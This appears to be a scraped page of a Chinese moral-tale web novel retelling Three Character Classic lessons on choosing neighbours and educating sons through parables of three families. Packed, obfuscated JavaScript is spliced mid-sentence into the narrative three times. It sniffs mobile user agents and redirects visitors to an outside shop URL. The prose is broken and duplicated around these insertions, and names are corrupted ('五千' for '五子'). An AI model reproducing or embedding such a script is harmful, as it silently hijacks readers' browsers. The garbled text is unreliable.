南宫氏为书香门第，宅第位于城南，本甚清幽。然近年邻舍变迁，左邻“怡红院”，右邻“翠玉楼”，皆为风月之所。家主南宫公，自诩“定力深厚”，言：“我心如止水，何惧脂粉？”长子南宫文，年十七，日与纨绔子弟流连花街，学业荒废；次子南宫雅，年十五，慕“风流才子”之名，常作艳词。南宫公屡加训诫，二子辩曰：“邻舍繁华，乃文士风流。” 来人引南宫公至“昔孟母，择邻处”碑前。细观碑文，但见“择”字有瑕，似被污渍浸染。南宫公蹙眉。 “孟母择邻，择其善者。公之邻，善乎？”来人取南宫文诗文，本有才气，今多艳语；观南宫雅行止，本端方，今多轻浮。“邻有风月，子弟多风流。风流非不可，然耽于其中，则丧志败德。公不择邻，是允之，是纵之？” 南宫公汗出：“吾尝严加管束…” “管束可禁其身，难禁其心。”来人叹，“孟母三迁，为避恶邻。今公宅邻花街，子弟目迷五色，耳濡靡音，心性渐移。公自诩定力，然子弟非公，安有公之定力？” 又引至后院墙下，隔墙可闻笙歌笑语。问：“公可闻此声？可禁子弟不闻？昔孟母闻杀豕而迁，今公闻艳曲而不迁，何也？” 恰此时，书房“书香世家”匾额蛛网骤结，如蒙尘垢。南宫公惧。来人道：“今有一法可解：迁居择静。或可高筑墙，严门户。然墙高不过心，门户难防耳目。不若迁居。” 南宫公叹：“非不欲迁，实无良宅。” “城东有静巷，可购之。”来人指东方，“昔孟母三迁，不惮烦劳。为子弟计，公何惜奔走？” 南宫公从之，即购城东静巷宅院，举家迁居。是夜，“择邻处”三字污渍渐消。来人教“择静法”：静以修身，俭以养德。邻静则心静，心静则学成。南宫氏迁居后，二子收心向学，后皆中秀才。 三、 不教之断（东郭氏） 东郭氏为耕读传家，宅第位于城东，本邻田舍，甚是清静。然近年邻舍易主，新邻为屠户，终日宰杀，腥膻扑鼻。家主东郭公，笃信“勤可补拙”，对独子东郭勤严加督学，稍有懈怠，即加鞭笞。子东郭勤，年十五，终日苦读，然闻邻舍宰杀声则心悸，见血腥则呕吐，学业反退。昨日，东郭勤背书有误，东郭公怒而折其笔，叱曰：“昔孟母断机，今吾折笔，尔可不勉？” 来人引东郭公至“子不学，断机杼”碑前。三字丝络毕现，断痕宛然。东郭公抚痕，若有所思。 “子不学，断机杼。孟母断机，为警子勤学。然公折笔，可警子心？”来人观东郭勤，面黄肌瘦，目带惊恐。“孟母断机，是见子废学，痛心警之。今子非不学，是邻舍喧扰，心不能静。公不择邻，反责子不勤，是教子，是逼子？” 东郭公赧然：“吾…望子成龙…” “望子成龙，当为之计深远。”来人叹，“孟母三迁，为子择邻。今公不择清净之邻，使子闻腥膻而心悸，见杀戮而神摇，虽勤学，效减半。公不迁居，是惜宅，是惜子？” 又引至书房，隔墙传来猪羊哀鸣，东郭勤闻之色变。问：“子可安心读书？公可忍心？昔孟母闻杀豕而迁，今公闻宰杀而不迁，何也？” 恰此时，书房“天道酬勤”匾额无故斜挂，似将坠落。东郭公惊。来人道：“今有一法可解：迁居择静。或可劝邻迁业。然屠户以此为生，焉肯迁？不若自迁。” 东郭公叹：“田宅祖产，不忍弃也。” “孟母可弃织机，公何惜田宅？子若成才，何患无宅？”来人正色。 东郭公从之，即售田宅，购城西清净小院。是夜，“断机杼”三字断痕渐合。来人教“教子法”：教子当如孟母，既择邻，又善教。择邻以静其心，善教以励其志。东郭氏迁居后，子心静学进，后中举人。 四、 孟邻会 三姓悔改，聚于三迁台。来人指碑全文： “昔孟母，择邻处。子不学，断机杼。今三公各明其理：西门公知迁，南宫公知静，东郭公知教。善哉！” 西门公问：“吾等已迁，然邑中仍有不择邻、不迁居、不善教者，何以化之？” “以孟邻化之。”来人召邑民聚台下，令三公自述其过。 西门公述不择：“吾贪恋祖宅，不择邻处，致子染恶习。今知邻如镜，择善而处。愿为表率，劝人择邻。” 南宫公述误择：“吾自恃定力，误择恶邻，致子务浮华。今知邻静心静，择静而居。愿劝邻里，共建清境。” 东郭公述不教：“吾但知严教，不知择邻，致子心不静。今知教子当如孟母，先择邻，后善教。愿倡孟母之风，化导邑人。” 邑民闻之，多有感发。有固守祖宅者思迁，有邻舍不善者思择，有教子无方者思教。三月间，邑中迁居成风，皆择良邻。 来人教“孟邻化民法”：择邑中贤母，立“孟母祠”，每岁祭祀，以“择邻教子”相劝勉。又制“孟邻榜”，彰表良邻。 五、 机杼谳 十月初一，寒衣节，择邻邑办“孟母祭”，三姓共主祭。忽有流言四起，谓“迁居者皆薄福，不久当败”。邑民疑惧，来人止之，召三姓家主并邑中耆老，会于三迁台。 是日，祭典方启，主祭人正诵“子不学，断机杼”，忽闻祠中那架“断机”模型发出“铮”然清响——本已折断的机杼，竟自接口处生出新丝，光华流转，一人自丝光中踏出，如慈训化形。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于机杼之侧，衣袂与丝光同舞。 “善哉！三公已得孟母之旨。”来人朗声道，“昔孟母，择邻处。子不学，断机杼。今三公择邻迁居，子弟向学，何来薄福之说？流言无稽，当以事实破之。” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“请三子现身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为父，可知择邻之要？邻可择否？子不学，可如孟母断机否？择邻而后教，教而后成，此孟母之智也。” 士子惊寤，汗透重衣。翌日，访得良邻，举家迁居。后其子成材，皆感孟母之德。 城中孟邻碑，后人建“孟邻阁”护之，阁悬联：“昔孟母择邻处为子计，子不学断机杼警惰心”。有教子无方者临碑，碑面自现箴言。人传：“此乃白衣仙人所留孟邻鉴也。” 本章诫世 一、 孟邻二训 - 昔孟母，择邻处 - 子不学，断机杼 - 破解法：为人父母，自问“居可择邻否？邻可益子否？子不学，可如孟母断机警之否？” 二、 三姓三失 - 西门氏失于“不择”——宅邻赌酒，子弟染恶 - 南宫氏失于“误择”——宅邻花街，子弟务浮 - 东郭氏失于“不教”——但知严责，不知择邻静心 - 惕世：多少人家固守祖宅，不顾邻舍恶浊？多少人家自恃定力，不避纷华环境？多少人家但知严教，不究子弟心性？ 三、 教子大道 - 深层隐喻：环境育人，潜移默化。孟母三迁，非为好宅，而为良邻。良邻如良师，恶邻如恶友 - 终极指向：治国平天下，在教化。教化之基，在环境。孟母择邻，是为子择境。今人教子，可不慎欤？ 孟邻偈： 择邻邑里三姓偏，各失孟母教子方。 西门不择邻赌酒，子弟染恶家将亡。 南宫误择邻花街，子弟浮华学业荒。 东郭不教但严责，邻舍腥膻子心惶。 三姓迷途不知返，孟邻碑现警世章。 白衣点破择邻理，三迁台上指玄黄。 昔孟母兮择邻处，子不学兮断机杼。 西门迁居子向善，南宫择静学业昌。 东郭迁居子心静，三姓归正子弟良。 后世叹： 昔孟母兮择邻处，子不学兮断机杼。 西门不择子染恶，南宫误择子务浮。 东郭不教子心惧，三姓迷途各倒颠。 孟邻碑前现异象，白衣指点孟邻篇。 正是： 治国平天下在教，孟母遗风要记牢。 昔孟母兮择邻处，子不学兮断机杼。 西门不择邻赌酒，南宫误择邻花街。 东郭不教但严责，三姓迷途各倒颠。 白衣点破择邻理，三迁台上指真诠。 83.义方谳 楔子·义方碑 朔北有边城名“五桂邑”，城东“教子台”上立“义方碑”，碑分四面，分镌四行：正面“窦燕山，有义方”，字迹古拙如父执手泽；左面“教五子”，右面“名俱扬”，背面“教子有方，五桂联芳”，乃后人补镌。相传为前代教子有方者所立，百年风霜，碑体莹润如玉。 邑中三大宗族：长孙氏为武将世家，有五千，教以骑射，然不教诗书，五千皆勇武粗鲁；宇文氏为文臣之后，有五子，教以经史，然不教世务，五子皆迁阔不通；慕容氏为商贾巨室，有五子，教以货殖，然不教仁义，五子皆锱铢必较。三族皆慕窦燕山“教五子，名俱扬”，然各执一偏，子弟多有不全。 是年重阳，义方碑忽生异象：“有义方”三字蒙尘如雾；“教五子”三字裂纹如蛛网；“名俱扬”三字黯淡无光。三姓家主观碑，各怀羞惭。 十月初一，邑中行“五子登科”祭，百童诵《三字经》。正诵至“窦燕山，有义方”一节，忽闻祭坛正中那架“五子登科”屏风发出“嗡”然清鸣——屏上本绘五子折桂图，此刻桂叶无风自动，一人自画中踏光而出，如教泽化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清冽如寒泉；着一身云纹素罗深衣，衣摆以银丝绣着四幅图景：前为“燕山教子”，左为“五子读书”，右为“五子习礼”，后为“五桂联芳”，暗合“义方”之训。外罩一件无袖素纱氅衣，氅角缀五枚玉圭，圭圭相叠，声如清磬。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如竹节相连，隐现君子气韵。足踏素锦登云履，履尖微翘，不着尘埃。 身形清癯，立于五子图前，帷笠轻纱与画中桂影相映，竟似从书香中化出的师魂。台下观者愕然，疑是画中仙。 来人以木剑轻点屏风，五子图像次第生辉： “教五子，名俱扬！” 剑尖再点： “窦燕山，有义方！” 诵罢，木剑遥指义方碑：“三姓家主，可愿登台观碑？” 长孙、宇文、慕容三公相顾惊疑。来人飘然下台，衣袂如流云舒卷：“某有三桩‘义方’公案，可请三公分观。观毕，再论教子。” 一、 不文之教（长孙氏） 长孙氏为武将世家，先祖以军功封侯，传至现任家主长孙公，膝下五千：长孙勇、长孙猛、长孙刚、长孙强、长孙毅，皆以勇力称。长孙公深信“将门虎子”，自五子幼时，即教以骑射刀枪，不令读书。尝言：“大丈夫当马上取功名，安用毛锥？”五千皆不识字，与人交谈，多粗鄙之言。上月，长子长孙勇与文士争道，竟挥拳相向，被邑人讥为“五虎不文”。 来人引长孙公至“教五子”碑前。三字裂纹，以手抚之，裂痕如壑。长孙公蹙眉。 “窦燕山，有义方。教五子，名俱扬。”来人问，“长孙公教子，可有义方？” 长孙公昂然：“吾教子骑射，皆万人敌，岂无义方？” “义方者，教子以正道。”来人召五千至前，问长孙勇：“可识得此碑文？”勇摇头。问长孙猛：“可知窦燕山故事？”猛茫然。问长孙刚：“可会书写姓名？”刚赧然。问长孙强：“可读过《论语》？”强瞠目。问长孙毅：“可知礼义廉耻？”毅挠头。 长孙公色变。来人叹：“窦燕山教五子，经史子集皆通，文武兼备。公但教武艺，不教诗书，是教子，是误子？勇而无文，如虎无翼，何以名俱扬？” 又引至校场，五千演练武艺，果然虎虎生风。然问及军阵韬略，皆不知所云。问及古今战例，皆茫然无对。来人道：“为将者，勇为末，谋为本。公但教其勇，不教其谋，是欲其为将，是欲其为卒？” 恰此时，校场“将门虎子”匾额绳索骤断，匾落尘埃。长孙公骇。来人道：“今有一法可解：延师教文。窦燕山教子，文武并重。公可令五千白日习武，夜间读书。如此，方为将门之风。” 长孙公沉吟：“吾家世代武将，何须文墨？” “昔关云长夜读《春秋》，岳武穆熟谙兵法。为将不知文，何以统军？何以治国？”来人正色。 长孙公从之，即延饱学儒师，教五千经史。是夜，“教五子”三字裂纹渐合。来人教“文武法”：文以载道，武以安邦。文武兼备，方为全才。长孙氏自此重文，五千后皆成将才。 二、 不务之教（宇文氏） 宇文氏为文臣之后，先祖官至尚书，传至现任家主宇文公，膝下五子：宇文文、宇文章、宇文翰、宇文墨、宇文砚，皆以文采称。宇文公笃信“书香传家”，自五子幼时，即教以经史子集，不令涉世。尝言：“万般皆下品，惟有读书高。”五子皆不事生产，不知稼穑，不通世务。上月，长子宇文文赴友人宴，不识韭菜麦苗，被邑人讥为“五谷不分”。 来人引宇文公至“教五子”碑前。细观碑文，但见“教”字有瑕，似被墨污。宇文公赧然。 “窦燕山，有义方。教五子，名俱扬。”来人问，“宇文公教子，可有义方？” 宇文公强道：“吾教子诗书，皆通经典，岂无义方？” “义方者，教子以全道。”来人召五子至前，问宇文文：“可识五谷？”文茫然。问宇文章：“可知市价？”章摇头。问宇文翰：“可会耕织？”翰瞠目。问宇文墨：“可懂账目？”墨赧然。问宇文砚：“可晓世情？”砚语塞。 宇文公汗出。来人叹：“窦燕山教五子，经世致用，通晓实务。公但教诗书，不教世务，是教子，是锢子？文而不务，如花无果，何以名俱扬？” 又引至书房，五子吟诗作赋，果然文采斐然。然问及民情吏治，皆不知所以。问及钱粮赋税，皆茫然无对。来人道：“为官者，文为末，实为本。公但教其文，不教其实，是欲其为官，是欲其为书蠹？” 恰此时，书房“书香世家”匾额蛛网骤结，如蒙尘垢。宇文公惧。来人道：“今有一法可解：令子涉世。窦燕山教子，知行合一。公可令五子白日读书，午后游历市井，了解民情。如此，方为治国之才。” 宇文公犹豫：“市井喧嚣，恐扰清心。” “不知市井，安知民生？不知民生，安能为官？”来人正色。 宇文公从之，即令五子每日午后游历市井，了解世务。是夜，“教五子”三字墨污渐消。来人教“知行法”：知为行之始，行为知之成。知行合一，方为真知。宇文氏自此重实，五子后皆成能吏。 三、 不仁之教（慕容氏） 慕容氏为商贾巨室，富甲一方，传至现任家主慕容公，膝下五子：慕容金、慕容银、慕容钱、慕容财、慕容宝，皆以精明称。慕容公深信“商道为本”，自五子幼时，即教以算计经营，不教仁义。尝言：“无商不奸，无利不往。”五子皆锱铢必较，见利忘义。上月，三子慕容钱与人交易，以次充好，被邑人斥为“五奸不仁”。 来人引慕容公至“名俱扬”碑前。三字黯淡，以袖拭之，微有莹光。慕容公蹙眉。 “窦燕山，有义方。教五子，名俱扬。”来人问，“慕容公教子，可得名扬？” 慕容公扬眉：“吾家富甲一方，谁人不晓？” “名扬者，美名也，非恶名。”来人召五子至前，问慕容金：“可曾让利于人？”金摇头。问慕容银：“可曾周济贫乏？”银嗤笑。问慕容钱：“可曾诚实交易？”钱赧然。问慕容财：“可曾心存仁厚？”财语塞。问慕容宝：“可知名节贵重？”宝茫然。 慕容公色变。来人叹：“窦燕山教五子，仁义为本，方得名扬。公但教算计，不教仁义，是教子，是毁子？富而不仁，如树无根，何以名俱扬？” 又引至店铺，五子打理生意，果然精明干练。然问及“义利之辨”，皆曰“利为先”。问及“仁者爱人”，皆笑“迂腐”。来人道：“为商者，利为末，义为本。公但教其利，不教其义，是欲其为商，是欲其为盗？” 恰此时，店铺“信义通商”匾额无故斜挂，似将坠落。慕容公惊。来人道：“今有一法可解：教以仁义。窦燕山教子，德才兼备。公可令五子白日学商，夜间读圣贤书，明义利之辨。如此，方为儒商之风。” 慕容公不悦：“商场如战场，仁义何用？” “无义之利，如无源之水。昔陶朱公三散家财，而三致千金，义利兼得。公不闻乎？”来人正色。 慕容公从之，即延儒师，教五子仁义之道。是夜，“名俱扬”三字复明。来人教“义利法”：利者，义之和也。义利相生，方为久长。慕容氏自此重义，五子后皆成儒商。 四、 义方会 三姓悔改，聚于教子台。来人指碑全文： “窦燕山，有义方。教五子，名俱扬。今三公各得其要：长孙公知文，宇文公知实，慕容公知义。善哉！” 长孙公问：“吾等已改，然邑中仍有偏教之家，或重武轻文，或重文轻实，或重利轻义，何以化之？” “以义方化之。”来人召邑民聚台下，令三公自述其过。 长孙公述偏武：“吾重武轻文，教子不全。今知文武兼备，方为将才。愿倡文武并重之风。” 宇文公述偏文：“吾重文轻实，教子迂阔。今知知行合一，方为实学。愿倡经世致用之学。” 慕容公述偏利：“吾重利轻义，教子不仁。今知义利相生，方为儒商。愿倡义利兼修之道。” 邑民闻之，多有感发。有重武轻文者延师，有重文轻实者游历，有重利轻义者读经。三月间，邑中教风大变。 来人教“义方化民法”：择邑中贤达，立“义方堂”，每岁春秋，聚于台下，以“教子有方，五桂联芳”相劝勉。又制“义方榜”，彰表全才。 五、 五桂谳 腊月初八，五桂邑办“五子登科祭”，三姓五千十五子齐聚。忽有外邑“五虎”前来挑衅，谓“五桂邑子弟皆偏才，不足论”。邑民愤慨，来人止之，召三姓家主并五千十五子，会于教子台。 是日，祭典方启，主祭人正诵“名俱扬”，忽闻祭坛中央那株“五桂树”发出“簌簌”清响——本是百年桂树，此刻无风自动，桂花如雨飘落，一人自花雨中踏光而出，如桂香化形。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111419|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >来人帷笠素纱，白衣胜雪，木剑悬腰，立于桂树之巅，衣袂与桂花同舞。 “善哉！三公已得义方之旨。”来人朗声道，“窦燕山，有义方。教五子，名俱扬。今三姓五千十五子，各有所长，可会外邑五虎。” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“长孙五千，可展武艺；宇文五千，可论经世；慕容五千，可辩义利。文武兼备，知行合一，义利兼修，何惧挑衅？” 长孙五千演武，枪棒如龙；宇文五千论政，切中时弊；慕容五千辩商，义利分明。外邑五虎观之，惭而服，揖道：“贵邑子弟，文武全才，知行兼备，义利双全，吾等不及也！” 邑中耆老叹曰：“昔三姓教子各偏，子弟或鲁或迂或奸；今三姓教子有方，子弟皆成全才。此谓‘有义方’也！” 来人登台顶，临风而立，诵“窦燕山，有义方。教五子，名俱扬”，声清越如金玉。诵罢，谓众曰：“窦燕山教五子，皆成大器。今诸公教子，各补其偏，五千十五子皆可成材。他日名扬天下，岂非盛事？” 长孙公拜问：“先生将去，何以长守此方？” 来人指心：“方在汝心，教在汝行。但时时自问：教子可全否？文武可备否？知行可合否？义利可兼否？若然，则义方得矣。” 言毕，纵身跃上义方碑顶，足尖一点“方”字，身形如白虹经天，没入桂香之中。众人仰观，唯见碑文光华流转，五桂飘香。 尾声义方谣 十年后，五桂邑更名“五桂联芳城”。三姓互通婚姻，无分文武。城中设“义方塾”，童蒙入学，先诵此章。有游学士子过境，见城中“子弟文武兼备，知行合一，义利双全”，问：“此城何化若此？” 老者答：“教有义方，五桂联芳。” “何以至此？” 童子诵《义方谣》： “治国平天下在教， 义方之道要记牢。 窦燕山有义方兮， 教五子名俱扬矣。 长孙偏武不教文， 五千勇武不识字。 宇文偏文不教实， 五子迁阔不通务。 慕容偏利不教义， 五子奸猾不仁义。 三姓迷途不知返， 义方碑现警世语。 白衣点破义方理， 教子台上指迷途。” 士子叹服。是夜，宿城中，梦来人踏月而至，以木剑点其额：“子若为父，可知义方之要？教子可全否？文武可备否？知行可合否？义利可兼否？若明此理，则五子可教矣。” 士子惊寤，汗透重衣。翌日，访得三姓教子之法，归而教子，后五千皆成材。 城中义方碑，后人建“义方阁”护之，阁悬联：“窦燕山有义方教五子，五桂联芳名俱扬”。有教子偏颇者临碑，碑面自现箴言。人传：“此乃白衣仙人所留义方鉴也。” 本章诫世 一、 义方二训 - 窦燕山，有义方 - 教五子，名俱扬 - 破解法：为人父母，自问“教子有义方否？可教子以全道否？文武兼备否？知行合一否？义利双全否？” 二、 三姓三偏 - 长孙氏偏于“武”——重武轻文，子弟勇而无文 - 宇文氏偏于“文”——重文轻实，子弟文而不务 - 慕容氏偏于“利”——重利轻义，子弟利而不仁 - 惕世：多少将门但教武艺，子弟成为莽夫？多少书香但教诗书，子弟成为书呆？多少商贾但教算计，子弟成为奸商？ 三、 教子大道 - 深层隐喻：教子如植树，需根深、干直、枝繁、叶茂、果硕。偏废其一，皆不成材 - 终极指向：治国平天下，在人才。人才之成，在教化。教化之要，在义方。窦燕山教五子，名俱扬，非独扬名，实成国器 义方偈： 五桂邑里三姓偏，各失义方教子篇。 长孙偏武不教文，五千勇武字不识。 宇文偏文不教实，五子迁阔务不通。 慕容偏利不教义，五子奸猾仁不存。 三姓迷途不知返，义方碑现警世言。 白衣点破义方理，教子台上指玄天。 窦燕山有义方兮，教五子名俱扬矣。 长孙教文成将才，宇文教实成能员。 慕容教义成儒商，三姓归正子弟贤。 后世叹： 窦燕山有义方兮，教五子名俱扬矣。 长孙偏武子鲁莽，宇文偏文子迁阔。 慕容偏利子奸猾，三姓迷途各倒颠。 义方碑前现异象，白衣指点义方篇。 正是： 治国平天下在教，义方之道要记牢。 窦燕山有义方兮，教五子名俱扬矣。 长孙偏武不教文，宇文偏文不教实。 慕容偏利不教义，三姓迷途各倒颠。 白衣点破义方理，教子台上指真诠。 84.教严谳 楔子·教严碑 岭南有古城名“严教邑”，城南“明伦台”上立“教严碑”，碑分两面，一面镌“养不教，父之过”，字迹沉厚如父责；一面镌“教不严，师之惰”，笔锋锐利如师训。相传为前代严师所立，百年风雨，碑体黝黑如铁。 邑中三大门第：赫连氏为乡绅望族，家主赫连公，溺爱独子赫连玉，百依百顺，养而不教；拓跋氏为书香世家，延师教子，然所请西席慕容先生，性情疏懒，教而不严；独孤氏为商贾大户，重金聘名师宇文先生，然先生只教经义，不教品行，严而失方。三家皆有子弟就学，然或父过，或师惰，子弟多不成器。 是年惊蛰，教严碑忽生异象：“父之过”三字裂纹如龟背；“师之惰”三字苔藓丛生，如蒙尘垢。三姓家主观碑，各怀惭惶。 三月十五，邑中行“开笔礼”，百童诵《三字经》。正诵至“养不教，父之过”一节，忽闻学塾中那块“戒尺碑”发出“啪”然脆响——本是青石所制戒尺模型，此刻无风自鸣，一人自尺影中踏光而出，如师道化形。 来人头戴素纱帷笠，笠檐垂及肩的月白轻纱，面覆同色鲛绡，眸光清冽如寒潭；着一身云纹素罗深衣，衣摆以银丝绣着两幅图景：左为“严父教子”，右为“严师授业”，暗合“教严”之旨。外罩一件无袖素纱氅衣，氅角缀两枚玉戒尺，尺尺相叠，声如清磬。腰束玄色丝绦，悬一柄无鞘木剑，剑身纹理如竹节相连，隐现风骨铮铮。足踏素锦步云履，履尖微翘，不染尘埃。 身形清癯，立于戒尺碑侧，帷笠轻纱与碑影相映，竟似从师道尊严中化出的精魂。台下观者愕然，疑是古贤再现。 来人以木剑轻击戒尺，清音响彻： “教不严，师之惰！” 剑尖再点： “养不教，父之过！” 诵罢，木剑遥指教严碑：“三家家主，可愿登台观碑？” 赫连、拓跋、独孤三公相顾赧然。来人飘然下台，衣袂如流云舒卷：“某有三桩‘教严’公案，可请三公分观。观毕，再论教养。” 一、 不教之过（赫连氏） 赫连氏为乡绅望族，田连阡陌，家资丰饶。家主赫连公，年四十方得独子赫连玉，爱如珍宝，自幼百依百顺，养而不教。赫连玉年方十二，已骄纵成性：欲食珍馐，必得之；欲着锦缎，必制之；欲玩珍奇，必购之。稍有不如意，辄摔物打人。赫连公每闻恶行，只笑曰：“孩童天性，长大自明。”上月，赫连玉当街纵马踏伤老妪，赫连公竟以银钱塞口了事。 来人引赫连公至“养不教，父之过”碑前。三字裂纹，以手抚之，裂痕深可容指。赫连公蹙眉。 “养不教，父之过。教不严，师之惰。”来人问，“赫连公可曾教子？” 赫连公强笑：“吾儿聪慧，何须多教？” “养而不教，父之过也。”来人召赫连玉至前，问：“可曾读书？”玉摇头。问：“可曾习礼？”玉嬉笑：“礼为何物？”问：“可知孝悌？”玉撇嘴：“吾父尚听我言，何须孝悌？” 赫连公色变。来人叹：“玉不琢，不成器。子不教，不成材。公但知养，不知教，是爱子，是害子？他日为祸乡里，公能护之终身否？” 又引至赫连玉书房，但见珍玩满室，无一本书。问：“此可称书房？公为父，可尽父责？养而不教，与犬马何异？” 恰此时，书房“芝兰玉树”匾额绳索骤断，匾落尘埃。赫连公骇。来人道：“今有一法可解：严加管教。延严师，立家规，明是非。养不教，父之过；今教之，过可补。” 赫连公犹豫：“吾儿娇惯，恐难管束。” “娇惯愈甚，害之愈深。昔周处为患，父老不言，是为过也。公欲子为周处乎？”来人正色。 赫连公从之，即延严师，立家法。是夜，“父之过”三字裂纹渐合。来人教“为父法”：养子如植树，不修不直，不剪不茂。养而教之，方为父责。 二、 不严之惰（拓跋氏） 拓跋氏为书香世家，历代有子弟中举。现任家主拓跋公，重教子，延西席慕容先生授业。然慕容先生性情疏懒，每日授课不过一两个时辰，余则或饮酒，或酣睡，教而不严。拓跋氏二子：长子拓跋文，年十四；次子拓跋章，年十二。兄弟二人，见师惰，亦怠学，终日嬉戏，学业荒废。拓跋公偶问功课，慕容先生辄曰：“公子聪颖，稍加点拨即可。”上月，二子背诵《论语》不过三章，拓跋公始疑。 来人引拓跋公至“教不严，师之惰”碑前。三字苔藓丛生，以指拂之，苔厚如毡。拓跋公赧然。 “教不严，师之惰。养不教，父之过。”来人问，“拓跋公可知师惰？” 拓跋公叹：“先生名士风范，或不可拘束过甚…” “名士风范，非惰学之由。”来人召慕容先生并二子至前。问慕容先生：“每日授业几时？”先生支吾：“或三时，或两时…”问拓跋文：“可背《大学》？”文挠头：“未曾背全。”问拓跋章：“可解《孟子》？”章语塞：“先生未讲透。” 拓跋公汗出。来人叹：“师者，传道授业解惑也。教而不严，是谓惰职。先生惰，子弟怠，公不察，是父之过。他日子弟不成材，公怨先生，抑怨己？” 又引至学堂，但见案上积尘，书中夹叶。问：“此可称学堂？先生可称师？公聘师而不察，是爱子，是误子？” 恰此时，学堂“明师高徒”匾额蛛网骤结，如蒙尘垢。拓跋公惧。来人道：“今有一法可解：延严师。教不严，师之惰；延严师，惰可改。” 拓跋公为难：“慕容先生乃名士，不可轻辞。” “名士而不严教，是虚名也。昔程门立雪，是严师；公之师，可立雪否？”来人正色。 拓跋公从之，即辞慕容先生，另延严师。是夜，“师之惰”三字苔藓自落。来人教“择师法”：师严则道尊，道尊则学成。择师当择严师，不可慕虚名。 三、 严而失方（独孤氏） 独孤氏为商贾大户，富甲一方。家主独孤公，深信“严师出高徒”，重金聘名师宇文先生教子。宇文先生果然严厉，每日授业六个时辰，稍有差错，辄加戒尺。然先生只教经义章句，不教品行德性。独孤氏独子独孤诚，年十三，终日苦读，经义烂熟，然品行不端：对父母不敬，对仆役苛刻，对同窗傲慢。独孤公每闻劣行，只道：“学业为重，品行次之。”上月，独孤诚因小事鞭挞书童，独孤公竟不责。 来人引独孤公至“教不严，师之惰”碑前。细观碑文，但见“严”字有瑕，似被墨污。独孤公蹙眉。 “教不严，师之惰。然严而失方，亦是惰。”来人召宇文先生并独孤诚至前。问宇文先生：“可教品行？”先生曰：“吾但教经义，品行自有其父教。”问独孤诚：“可知孝悌？”诚背诵：“孝悌也者，其为仁之本与！”问：“可行孝悌？”诚语塞。 独孤公色变。来人叹：“教不严，师之惰；教而偏，亦是惰。先生但教经义，不教品行，是严乎？是偏乎？子弟知书不达理，是师之惰，亦是父之过。” 又引至独孤诚书房，但见经书堆叠，无一册修身之书。问：“此可称教化？经义虽熟，品行不修，是为人乎？是书蠹乎？” 恰此时，书房“学海无涯”匾额无故斜挂，似将坠落。独孤公惊。来人道：“今有一法可解：教之以方。严师当严而有方，既教经义，亦教品行。教不严，师之惰；教无方，亦是惰。” 独孤公犹豫：“先生名重，不可轻改其教。” “名重而教偏，是名不副实。昔孔子教六艺，文行忠信并重。公之师，可及孔子万一？”来人正色。 独孤公从之，即请宇文先生兼教品行，并自以身教。是夜，“教不严”三字墨污渐消。来人教“教方法”：教之道，严而有方。方者，道也。教之以道，方可成材。 四、 教严会 三姓悔改，聚于明伦台。来人指碑全文： “养不教，父之过。教不严，师之惰。今三家各明其责：赫连公知教，拓跋公知严，独孤公知方。善哉！” 赫连公问：“吾等已改，然邑中仍有养不教、教不严、严而无方者，何以化之？” “以教严化之。”来人召邑民聚台下，令三家自述其过。 赫连公述不教：“吾但知养，不知教，是吾过也。今知养不教，父之过，愿严加管教，以补前愆。” 拓跋公述不严：“吾聘师不察，师惰不严，是吾过也。今知教不严，师之惰，愿择严师，以正学风。” 独孤公述无方：“吾重严教，然教而偏，亦是惰。今知严而有方，方为真严，愿教之以道，以成全才。” 邑民闻之，多有感发。有养不教者警醒，有教不严者换师，有严而无方者正教。三月间，邑中学风大振。 来人教“教严化民法”：择邑中严父严师，立“教严堂”，每岁春秋，聚于台下，以“养而教，教而严，严而方”相劝勉。又制“教严榜”，彰表严父严师。 五、 明伦谳 九月初九，重阳日，严教邑办“尊师祭”，三家父子师徒齐聚。忽有外邑“浪荡子”三人前来挑衅，谓“严教邑子弟皆书呆，不足论”。邑民愤慨，来人止之，召三家父子师徒，会于明伦台。 是日，祭典方启，主祭人正诵“教不严，师之惰”，忽闻明伦台中央那面“明伦鼓”发出“咚”然震响——鼓面自鸣，一人自鼓声中踏光而出，如师道威严。 来人帷笠素纱，白衣胜雪，木剑悬腰，立于鼓架之上，衣袂与鼓声同振。 “善哉！三家已明教严之旨。”来人朗声道，“养不教，父之过。教不严，师之惰。今三家父子师徒，各尽其责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115884|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，可会外邑浪子。” 飞身而下，如白鹤掠地，点尘不惊。取木剑画地成策：“赫连玉，可背《孝经》；拓跋文拓跋章，可论《论语》；独孤诚，可解《孟子》并述孝行。父教子，师教徒，何惧挑衅？” 